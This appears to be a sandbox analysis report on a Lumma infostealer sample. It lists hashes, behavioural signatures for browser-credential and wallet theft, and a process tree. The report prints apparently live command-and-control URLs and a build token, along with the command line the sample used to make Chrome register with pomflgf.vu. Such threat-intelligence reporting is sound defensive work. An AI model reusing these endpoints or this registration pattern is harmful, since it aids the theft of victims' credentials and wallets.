Analysis
- max time kernel
149s - max time network
146s - platform
windows11-21h2_x64 - resource
win11-20260513-en - resource tags
arch:x64arch:x86image:win11-20260513-enlocale:en-usos:windows11-21h2-x64systemwindows - submitted
01/06/2026, 16:52
Static task
static1
Behavioral task
behavioral1
Sample
tmpxv7j3d9o.exe
Resource
win10ltsc2021-20260513-en
Behavioral task
behavioral2
Sample
tmpxv7j3d9o.exe
Resource
win10v2004-20260513-en
General
- Target tmpxv7j3d9o.exe
- Size 41.2MB
- Sample260601-vdc6kact8p
- SHA256 b6fa22fe67325b24f7044b934e0f364e02723e019cc4c64e4a5c6e4ae031721d
- MD5 683ac65ff7a2e6b46e560f85452f28c0
- SHA1 aa47364ad8a75c7f5de26bbb811d7276326c797a
- SHA512 6e19705a77a99b550e5d80127043b9465877df15046f3214bbdb105284d96e9bdb98a114871a36813004514dbcc7b490630ddd0912e8a01b3ad113d242e1c3e8
- SSDEEP 393216:WJZOBtGtX0napjTW4GJnOAR/5xKiPfr7MtOSO7LPY8CGGwW/nJ6T3:WJZPtX0IjTU5P8wSO7k8CGmU
- TLSH T1F897BE02B7EC4061F1B75A3099BB9616EB36BD611B30C3CF5250A66D2E737D09E3472A
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Extracted
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lumma
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https://fourdigs.cyou
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https://decrnoj.club/xxx
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https://pomflgf.vu/help
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https://carytui.vu/caccc
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https://mushxhb.best/info
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https://genugsq.best/main
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https://ulmudhw.shop/create
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https://strikql.shop/owner
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https://longmbx.click/manifest
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build_id
6ecc0334c9161db803705a074220ba1dd35191b3e3
Signatures
- Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
- Drops file in Windows directory 1 IoCs
description ioc Process File opened for modification C:\Windows\SystemTemp chrome.exe - System Location Discovery: System Language Discovery 1 TTPs 1 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language tmpxv7j3d9o.exe - System Time Discovery 1 TTPs 1 IoCs
Adversary may gather the system time and/or time zone settings from a local or remote system.
pid Process 2780 chrome.exe - Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS chrome.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName chrome.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer chrome.exe - Modifies data under HKEY_USERS 2 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry chrome.exe Set value (int) \REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "134248064722999065" chrome.exe - Modifies registry class 1 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-21-2043432456-1617298091-2772621413-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance\ chrome.exe - Suspicious behavior: EnumeratesProcesses 10 IoCs
pid Process 5248 tmpxv7j3d9o.exe 5248 tmpxv7j3d9o.exe 5248 tmpxv7j3d9o.exe 5248 tmpxv7j3d9o.exe 2172 chrome.exe 2172 chrome.exe 5248 tmpxv7j3d9o.exe 5248 tmpxv7j3d9o.exe 5248 tmpxv7j3d9o.exe 5248 tmpxv7j3d9o.exe - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 3 IoCs
pid Process 2172 chrome.exe 2172 chrome.exe 2172 chrome.exe - Suspicious use of AdjustPrivilegeToken 14 IoCs
description pid Process Token: SeShutdownPrivilege 2172 chrome.exe Token: SeCreatePagefilePrivilege 2172 chrome.exe Token: SeShutdownPrivilege 2172 chrome.exe Token: SeCreatePagefilePrivilege 2172 chrome.exe Token: SeShutdownPrivilege 2172 chrome.exe Token: SeCreatePagefilePrivilege 2172 chrome.exe Token: SeShutdownPrivilege 2172 chrome.exe Token: SeCreatePagefilePrivilege 2172 chrome.exe Token: SeShutdownPrivilege 2172 chrome.exe Token: SeCreatePagefilePrivilege 2172 chrome.exe Token: SeShutdownPrivilege 2172 chrome.exe Token: SeCreatePagefilePrivilege 2172 chrome.exe Token: SeShutdownPrivilege 2172 chrome.exe Token: SeCreatePagefilePrivilege 2172 chrome.exe - Suspicious use of FindShellTrayWindow 34 IoCs
pid Process 2172 chrome.exe 2172 chrome.exe 2172 chrome.exe 2172 chrome.exe 2172 chrome.exe 2172 chrome.exe 2172 chrome.exe 2172 chrome.exe 2172 chrome.exe 2172 chrome.exe 2172 chrome.exe 2172 chrome.exe 2172 chrome.exe 2172 chrome.exe 2172 chrome.exe 2172 chrome.exe 2172 chrome.exe 2172 chrome.exe 2172 chrome.exe 2172 chrome.exe 2172 chrome.exe 2172 chrome.exe 2172 chrome.exe 2172 chrome.exe 2172 chrome.exe 2172 chrome.exe 2172 chrome.exe 2172 chrome.exe 2172 chrome.exe 2172 chrome.exe 2172 chrome.exe 2172 chrome.exe 2172 chrome.exe 2172 chrome.exe - Suspicious use of WriteProcessMemory 14 IoCs
description pid Process procid_target PID 5248 wrote to memory of 2172 5248 tmpxv7j3d9o.exe 81 PID 2172 wrote to memory of 3928 2172 chrome.exe 82 PID 2172 wrote to memory of 3492 2172 chrome.exe 83 PID 2172 wrote to memory of 2780 2172 chrome.exe 84 PID 2172 wrote to memory of 3492 2172 chrome.exe 83 PID 2172 wrote to memory of 5100 2172 chrome.exe 85 PID 2172 wrote to memory of 5100 2172 chrome.exe 85 PID 2172 wrote to memory of 4520 2172 chrome.exe 87 PID 2172 wrote to memory of 4520 2172 chrome.exe 87 PID 2172 wrote to memory of 4980 2172 chrome.exe 86 PID 2172 wrote to memory of 4980 2172 chrome.exe 86 PID 2172 wrote to memory of 2984 2172 chrome.exe 89 PID 2172 wrote to memory of 2984 2172 chrome.exe 89 PID 2172 wrote to memory of 5608 2172 chrome.exe 90
Processes
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C:\Users\Admin\AppData\Local\Temp\tmpxv7j3d9o.exe"C:\Users\Admin\AppData\Local\Temp\tmpxv7j3d9o.exe"1⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:5248 -
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" pomflgf.vu/api/set_agent?id=2D204AD0BD24956701AEC7B30ADF174C&token=6ecc0334c9161db803705a074220ba1dd35191b3e3&description=&agent=Chrome2⤵
- Drops file in Windows directory
- Enumerates system info in registry
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of WriteProcessMemory
PID:2172 -
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x10c,0x110,0x114,0xe8,0x118,0x7ffb91c9c728,0x7ffb91c9c734,0x7ffb91c9c7403⤵PID:3928
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C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=1684,i,7408884612354267951,1841980420537005962,262144 --field-trial-handle=1940,i,6593909792899277112,15761491824644065535,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=1936 /prefetch:23⤵PID:3492
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C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=2172,i,4075347547483977733,2240413615170622467,524288 --field-trial-handle=1940,i,6593909792899277112,15761491824644065535,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=1820 /prefetch:113⤵
- System Time Discovery
PID:2780
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C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=2408,i,17185350562203444471,1538244834585703522,524288 --field-trial-handle=1940,i,6593909792899277112,15761491824644065535,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=2420 /prefetch:133⤵PID:5100
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C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=3164,i,1581407968302104585,11544514267805086841,2097152 --field-trial-handle=1940,i,6593909792899277112,15761491824644065535,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=3284 /prefetch:13⤵PID:4980
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C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=3156,i,622034816152289326,9723910161721469023,2097152 --field-trial-handle=1940,i,6593909792899277112,15761491824644065535,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=3192 /prefetch:13⤵PID:4520
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C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --metrics-shmem-handle=4204,i,5429267257619912758,5688439323580994029,2097152 --field-trial-handle=1940,i,6593909792899277112,15761491824644065535,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=4268 /prefetch:93⤵PID:2984
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C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=5296,i,12939623880356987509,14810371619966457270,524288 --field-trial-handle=1940,i,6593909792899277112,15761491824644065535,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=5196 /prefetch:143⤵PID:5608
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C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"1⤵PID:2620
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc1⤵PID:2240
Network
MITRE ATT&CK Enterprise v16
Credential Access
Credentials from Password Stores
1Credentials from Web Browsers
1Unsecured Credentials
2Credentials In Files
2Replay Monitor
Loading Replay Monitor...
Downloads
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\BookmarkMergedSurfaceOrdering
- Size 6B
- SHA256 4489f9e3e454748b3521eb214e0a5694d562cff3d9ff511cb456953c8f534c00
- MD5 377d072e137022223a370760763420bb
- SHA1 534e5f914ae99bf0a342a2f7a7e0724bd0d11ef7
- SHA512 d1e37e45e8d603c46c9254d7295744104222b09340246c5e5f50d661d4688ccc2068adf1e0cd78599bcdcf475f8a0a6255dcd3e429812aa14cc2e2022309955c
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\BrowsingTopicsState
- Size 649B
- SHA256 54f943d3cc8f74c1ad22a09b900f44a7852f0c4307ff018bf8caeed6d5a60acd
- MD5 bf85104bdb7b03dd5ae68cf5575027bf
- SHA1 5d37d5a198e725674772136afd8b59cd96df9c4e
- SHA512 3a7336d4f4f0678049ce190f358370db1d569bd7e01377e483de130ff650f58b7ee463413e007fbd71ffa7695d2620f47dcb22785b68c30ccff8c67fdfc9ee54
- TLSH T141F0D1AAC931AC2B18FD5B1960644B0AE755132B2B50495B3A3D520C8FB563B564592C
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\SCT Auditing Pending Reports
- Size 2B
- SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
- MD5 d751713988987e9331980363e24189ce
- SHA1 97d170e1550eee4afc0af065b78cda302a97674c
- SHA512 b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Data
- Size 138KB
- SHA256 a5c94d286e6cbeb15723baeb68e935198be1c938f3d45eef3a07d48e3edd50fc
- MD5 99d9fc20438f75889658446b615c6023
- SHA1 e6bcdea2ec7a7940d860182391751c126360cf38
- SHA512 220d992bca2716e3b12d145d7b8cf4a2f4682dd425a694aa7b1db8c973801a1a2b617fd5e46135ec882fdf095c97b20fa1d3c78eec2ca24bce836b753c8d3dd3
- SSDEEP 384:jeuvBnhJsueMEGvIW1DcP2OAHYlVum0nP:1nbZeMrv/hGtAhnP
- TLSH T1C3D3874B3A747002EDE59A721CE0517F5E3C716D4F55A5D428B620688EF2813B23E4BF
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Last Version
- Size 13B
- SHA256 e5efa9eb104cd0b25149c2e789bec8d9aa4ba95678831b657eef7780a281c391
- MD5 43ef949d3c6e9956545979ace65d0085
- SHA1 63f2b2de8727854597e49a1216e8e74c68117c07
- SHA512 313a5ab7ac9b5efd955beba4615784bdc2a9058ddaa804d85fb2d0c651dd3de07e382d61a1bb482499520a80e0b64c004ff2af03459cbc1daef47f540f0a6905
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
- Size 115KB
- SHA256 0c512781184b75b1468b3e1b86f7aabcb510913798fd8d4eaacace3207952096
- MD5 0893e98e8e0afd5339f7bccbd7871b73
- SHA1 f49fb4dad64a3115045679759b73eec484b71e0f
- SHA512 94c55f0b3ea44d647e2d94647c0179084bb9a164d32282ce491055ac62d991d0c4c5e8ae3735e580d506d67417ab8d96c882f0badef9676431d9e7ccf7cddc71
- SSDEEP 3072:31Gm7D5Lk17ox1tIpud63U8BehbCBi9fTrMi:3cm7Rkm1tYpBeh2BAoi
- TLSH T199C3123B5E65E9375875BB4EB08E0B1E2EF149A6C920DA82C8D85B0477FA7CC1A05934
- MD5 SHA1 SHA512 SSDEEP TLSH